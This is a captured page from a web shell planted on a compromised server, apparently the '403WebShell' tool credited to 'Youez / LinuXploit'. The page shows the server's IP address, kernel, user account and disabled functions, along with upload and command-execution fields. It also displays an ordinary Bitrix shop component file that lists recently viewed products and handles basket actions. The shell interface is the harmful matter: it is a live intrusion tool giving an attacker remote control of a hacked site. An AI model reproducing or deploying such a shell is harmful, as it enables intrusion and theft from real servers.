%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.131.38.104
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/sale.viewed.product/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/sale.viewed.product/component.php
<?
/** @global CMain $APPLICATION
 * @global CUser $USER
 * @global array $arParams */
use Bitrix\Main\Loader;
if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die();

$arParams["VIEWED_COUNT"] = IntVal($arParams["VIEWED_COUNT"]);
if ($arParams["VIEWED_COUNT"] <= 0)
	$arParams["VIEWED_COUNT"] = 5;
$arParams["VIEWED_IMG_HEIGHT"] = IntVal($arParams["VIEWED_IMG_HEIGHT"]);
if($arParams["VIEWED_IMG_HEIGHT"] <= 0)
	$arParams["VIEWED_IMG_HEIGHT"] = 150;
$arParams["VIEWED_IMG_WIDTH"] = IntVal($arParams["VIEWED_IMG_WIDTH"]);
if ($arParams["VIEWED_IMG_WIDTH"] <= 0)
	$arParams["VIEWED_IMG_WIDTH"] = 150;

if($arParams["SET_TITLE"] == "Y")
	$APPLICATION->SetTitle(GetMessage("VIEW_TITLE"));

$arParams["VIEWED_NAME"] = (($arParams["VIEWED_NAME"] == "Y") ? "Y" : "N");
$arParams["VIEWED_IMAGE"] = (($arParams["VIEWED_IMAGE"] == "Y") ? "Y" : "N");
$arParams["VIEWED_PRICE"] = (($arParams["VIEWED_PRICE"] == "Y") ? "Y" : "N");

if (!isset($arParams["VIEWED_CURRENCY"]) || strlen($arParams["VIEWED_CURRENCY"]) <= 0)
	$arParams["VIEWED_CURRENCY"] = "default";

$arResult = array();
$arFilter = array();

if (!Loader::includeModule('sale'))
{
	ShowError(GetMessage("VIEWE_NOT_INSTALL"));
	return;
}

if (!Loader::includeModule('catalog'))
{
	ShowError(GetMessage("VIEWCATALOG_NOT_INSTALL"));
	return;
}

$fuserId = (int)CSaleBasket::GetBasketUserID(true);
$newUser = $fuserId <= 0;

if (!$newUser)
{
	$arFilter = array(
		'LID' => SITE_ID,
		'FUSER_ID' => $fuserId
	);
}
unset($fuserId);

//add to basket
if (isset($_REQUEST[$arParams["ACTION_VARIABLE"]]) && isset($_REQUEST[$arParams["PRODUCT_ID_VARIABLE"]]))
{
	if("BUY" ==  $_REQUEST[$arParams["ACTION_VARIABLE"]])
		$action = "BUY";
	elseif("ADD2BASKET" == $_REQUEST[$arParams["ACTION_VARIABLE"]])
		$action = "ADD2BASKET";
	else
		$action = ToUpper($_REQUEST[$arParams["ACTION_VARIABLE"]]);

	$productID = intval($_REQUEST[$arParams["PRODUCT_ID_VARIABLE"]]);
	if ($productID > 0)
	{
		//get props sku
		$product_properties = array();
		$arPropsSku = array();

		$arParentSku = CCatalogSku::GetProductInfo($productID);
		if (!empty($arParentSku) && is_array($arParentSku))
		{
			$dbProduct = CIBlockElement::GetList(array(), array("ID" => $productID), false, false, array('IBLOCK_ID', 'IBLOCK_SECTION_ID'));
			$arProduct = $dbProduct->Fetch();

			$dbOfferProperties = CIBlock::GetProperties($arProduct["IBLOCK_ID"], array(), array("!XML_ID" => "CML2_LINK"));
			while($arOfferProperties = $dbOfferProperties->Fetch())
				$arPropsSku[] = $arOfferProperties["CODE"];

			$product_properties = CIBlockPriceTools::GetOfferProperties(
							$productID,
							$arParentSku["IBLOCK_ID"],
							$arPropsSku
						);
		}

		if (($action == "ADD2BASKET" || $action == "BUY") && $productID > 0)
		{
			Add2BasketByProductID($productID, 1, array(), $product_properties);

			if ($action == "BUY")
				LocalRedirect($arParams["BASKET_URL"]);
			else
				LocalRedirect($APPLICATION->GetCurPageParam("", array($arParams["PRODUCT_ID_VARIABLE"], $arParams["ACTION_VARIABLE"])));
		}
	}
}//end add to basket

$arViewed = array();
$arViewedId = array();
$arElementSort = array();
if (!$newUser)
{
	$db_res = CSaleViewedProduct::GetList(
			array(
				"DATE_VISIT" => "DESC"
			),
			$arFilter,
			false,
			array(
				"nTopCount" => $arParams["VIEWED_COUNT"]
			),
			array('ID', 'IBLOCK_ID', 'PRICE', 'CURRENCY', 'CAN_BUY', 'PRODUCT_ID', 'DATE_VISIT', 'DETAIL_PAGE_URL', 'DETAIL_PICTURE', 'PREVIEW_PICTURE', 'NAME', 'NOTES')
	);
	while ($arItems = $db_res->Fetch())
	{
		$arViewedId[] = $arItems["PRODUCT_ID"];
		$arViewed[$arItems["PRODUCT_ID"]] = $arItems;
	}
}
//check catalog
if (!empty($arViewedId))
{
	$arIBlockSectionID = array();

	$res = CIBlockElement::GetList(
		array(),
		array("ID" => $arViewedId),
		false,
		false,
		array(
			"ID",
			"IBLOCK_ID",
			"IBLOCK_TYPE_ID",
			"IBLOCK_CODE",
			"IBLOCK_EXTERNAL_ID",
			"IBLOCK_SECTION_ID",
			"DETAIL_PICTURE",
			"PREVIEW_PICTURE",
			"DETAIL_PAGE_URL",
			"CODE",
			"XML_ID",
			"SECTION_CODE",
			"EXTERNAL_ID",
			"SITE_DIR"
		)
	);
	while ($arElement = $res->GetNext())
	{
		$arElement["DATE_VISIT"] = $arViewed[$arElement["ID"]]["DATE_VISIT"];
		$arElement["~DATE_VISIT"] = MakeTimeStamp($arElement["DATE_VISIT"]);
		$arElement["ELEMENT_CODE"] = $arElement["CODE"];
		$arElement["ELEMENT_ID"] = $arElement["ID"];
		$arElement["SECTION_ID"] = $arElement["IBLOCK_SECTION_ID"];

		$arElementSort[] = $arElement;
		$arIBlockSectionID[] = $arElement["IBLOCK_SECTION_ID"];
	}

	// get additional info for updated detail URLs
	$dbSectionRes = CIBlockSection::GetList(array(), array("ID" => array_unique($arIBlockSectionID)), false, array("ID", "CODE"));
	while ($arSectionRes = $dbSectionRes->GetNext())
	{
		foreach ($arElementSort as &$arElement)
		{
			if ($arElement["IBLOCK_SECTION_ID"] == $arSectionRes["ID"])
				$arElement["SECTION_CODE"] = $arSectionRes["CODE"];
		}
		unset($arElement);
	}

	sortByColumn($arElementSort, array("~DATE_VISIT" => SORT_DESC));

	$currency = CSaleLang::GetLangCurrency(SITE_ID);

	foreach ($arElementSort as $arElements)
	{
		static $arCacheOffersIblock = array();
		$priceMin = 0;
		$arItems = $arViewed[$arElements["ID"]];
		$arItems["IBLOCK_ID"] = $arElements["IBLOCK_ID"];
		$arItems["DETAIL_PICTURE"] = $arElements["DETAIL_PICTURE"];
		$arItems["PREVIEW_PICTURE"] = $arElements["PREVIEW_PICTURE"];

		$arElements["DETAIL_PAGE_URL"] = CIBlock::ReplaceDetailUrl($arElements["DETAIL_PAGE_URL"], $arElements, false);

		$arItems["DETAIL_PAGE_URL"] = $arElements["DETAIL_PAGE_URL"];
		$arItems["BUY_URL"] = htmlspecialcharsex($APPLICATION->GetCurPageParam($arParams["ACTION_VARIABLE"]."=BUY&".$arParams["PRODUCT_ID_VARIABLE"]."=".$arItems["PRODUCT_ID"], array($arParams["PRODUCT_ID_VARIABLE"], $arParams["ACTION_VARIABLE"])));
		$arItems["ADD_URL"] = htmlspecialcharsex($APPLICATION->GetCurPageParam($arParams["ACTION_VARIABLE"]."=ADD2BASKET&".$arParams["PRODUCT_ID_VARIABLE"]."=".$arItems["PRODUCT_ID"], array($arParams["PRODUCT_ID_VARIABLE"], $arParams["ACTION_VARIABLE"])));

		if (!is_set($arCacheOffersIblock[$arElements["IBLOCK_ID"]]))
		{
			$mxResult = CCatalogSKU::GetInfoByProductIBlock($arElements["IBLOCK_ID"]);
			if (is_array($mxResult))
			{
				$arOffersIblock["OFFERS_IBLOCK_ID"] = $mxResult["IBLOCK_ID"];
				$arCacheOffersIblock[$arElements["IBLOCK_ID"]] = $arOffersIblock;
			}
		}
		else
			$arOffersIblock = $arCacheOffersIblock[$arElements["IBLOCK_ID"]];

		if (isset($arOffersIblock["OFFERS_IBLOCK_ID"]) && $arOffersIblock["OFFERS_IBLOCK_ID"] > 0)
		{
			$arItems["OFFERS"] = array();

			static $arCacheOfferProperties = array();
			if (!isset($arCacheOfferProperties[$arOffersIblock["OFFERS_IBLOCK_ID"]]))
			{
				$dbOfferProperties = CIBlock::GetProperties($arOffersIblock["OFFERS_IBLOCK_ID"], array(), array("!XML_ID" => "CML2_LINK"));
				while($arOfferProperties = $dbOfferProperties->Fetch())
					$arCacheOfferProperties[$arOffersIblock["OFFERS_IBLOCK_ID"]][] = $arOfferProperties["CODE"];
			}
			$arIblockOfferPropsFilter = $arCacheOfferProperties[$arOffersIblock["OFFERS_IBLOCK_ID"]];

			static $arCacheResultPrices = array();
			if (empty($arCacheResultPrices))
			{
				$arPriceTypeList = array();
				$dbPriceType = CCatalogGroup::GetList(array(),array('CAN_BUY' => 'Y'),false,false,array('NAME', 'ID'));
				while ($arPriceType = $dbPriceType->Fetch())
				{
					$arPriceTypeList[] = $arPriceType["NAME"];
				}
				$arResultPrices = CIBlockPriceTools::GetCatalogPrices($arElements["IBLOCK_ID"], $arPriceTypeList);
				$arCacheResultPrices = $arResultPrices;
			}
			else
				$arResultPrices = $arCacheResultPrices;

			$arOffers = CIBlockPriceTools::GetOffersArray(
						$arElements["IBLOCK_ID"],
						$arItems["PRODUCT_ID"],
						array("ID" => "DESC"),
						array("NAME"),
						$arIblockOfferPropsFilter,
						0,
						$arResultPrices,
						true
			);
			if (!empty($arOffers) && is_array($arOffers))
			{
				$result = false;
				$minPrice = 0;
				$urlAdd2Basket = '';
				$urlBuy = '';
				foreach ($arOffers as $oneOffer)
				{
					if ($oneOffer['LINK_ELEMENT_ID'] != $arItems['PRODUCT_ID'])
						continue;

					if (!$oneOffer['CAN_BUY'])
						continue;

					$oneOffer["BUY_URL"] = htmlspecialcharsBX($APPLICATION->GetCurPageParam($arParams["ACTION_VARIABLE"]."=BUY&".$arParams["PRODUCT_ID_VARIABLE"]."=".$oneOffer["ID"], array($arParams["PRODUCT_ID_VARIABLE"], $arParams["ACTION_VARIABLE"])));
					$oneOffer["ADD_URL"] = htmlspecialcharsBX($APPLICATION->GetCurPageParam($arParams["ACTION_VARIABLE"]."=ADD2BASKET&".$arParams["PRODUCT_ID_VARIABLE"]."=".$oneOffer["ID"], array($arParams["PRODUCT_ID_VARIABLE"], $arParams["ACTION_VARIABLE"])));

					if (empty($result))
					{
						$minPrice = ($oneOffer['MIN_PRICE']['CURRENCY'] == $currency
							? $oneOffer['MIN_PRICE']['DISCOUNT_VALUE']
							: CCurrencyRates::ConvertCurrency($oneOffer['MIN_PRICE']['DISCOUNT_VALUE'], $oneOffer['MIN_PRICE']['CURRENCY'], $currency)
						);
						$result = $oneOffer['MIN_PRICE'];
						$urlAdd2Basket = $oneOffer["ADD_URL"];
						$urlBuy = $oneOffer["BUY_URL"];
					}
					else
					{
						$comparePrice = ($oneOffer['MIN_PRICE']['CURRENCY'] == $currency
							? $oneOffer['MIN_PRICE']['DISCOUNT_VALUE']
							: CCurrencyRates::ConvertCurrency($oneOffer['MIN_PRICE']['DISCOUNT_VALUE'], $oneOffer['MIN_PRICE']['CURRENCY'], $currency)
						);
						if ($minPrice > $comparePrice)
						{
							$minPrice = $comparePrice;
							$result = $oneOffer['MIN_PRICE'];
							$urlAdd2Basket = $oneOffer["ADD_URL"];
							$urlBuy = $oneOffer["BUY_URL"];
						}
					}

					$arItems["OFFERS"][] = $oneOffer;
				}

				if (!empty($result))
				{
					$arItems["PRICE"] = $result['DISCOUNT_VALUE'];
					$arItems["CURRENCY"] = $result['CURRENCY'];
					$arItems["MIN_PRICE_SET"] = true;
					$arItems["BUY_URL"] = $urlBuy;
					$arItems["ADD_URL"] = $urlAdd2Basket;
				}
			}
		}

		if (floatval($arItems["PRICE"]) > 0)
		{
			if ($arParams["VIEWED_CURRENCY"] != "default" && $arItems["CURRENCY"] != $arParams["VIEWED_CURRENCY"])
			{
				$arItems["PRICE"] = CCurrencyRates::ConvertCurrency($arItems["PRICE"], $arItems["CURRENCY"], $arParams["VIEWED_CURRENCY"]);
				$arItems["CURRENCY"] = $arParams["VIEWED_CURRENCY"];
			}

			$arItems["PRICE_FORMATED"] = SaleFormatCurrency($arItems["PRICE"], $arItems["CURRENCY"]);
			if (isset($arItems["MIN_PRICE_SET"]))
				$arItems["PRICE_FORMATED"] = GetMessage("VIEW_PRICE_FROM")." ".$arItems["PRICE_FORMATED"];

			$arItems["CAN_BUY"] = "Y";
		}
		else
			$arItems["CAN_BUY"] = "N";

		$arResult[] = $arItems;
	}
}

$this->IncludeComponentTemplate();

Youez - 2016 - github.com/yon3zu
LinuXploit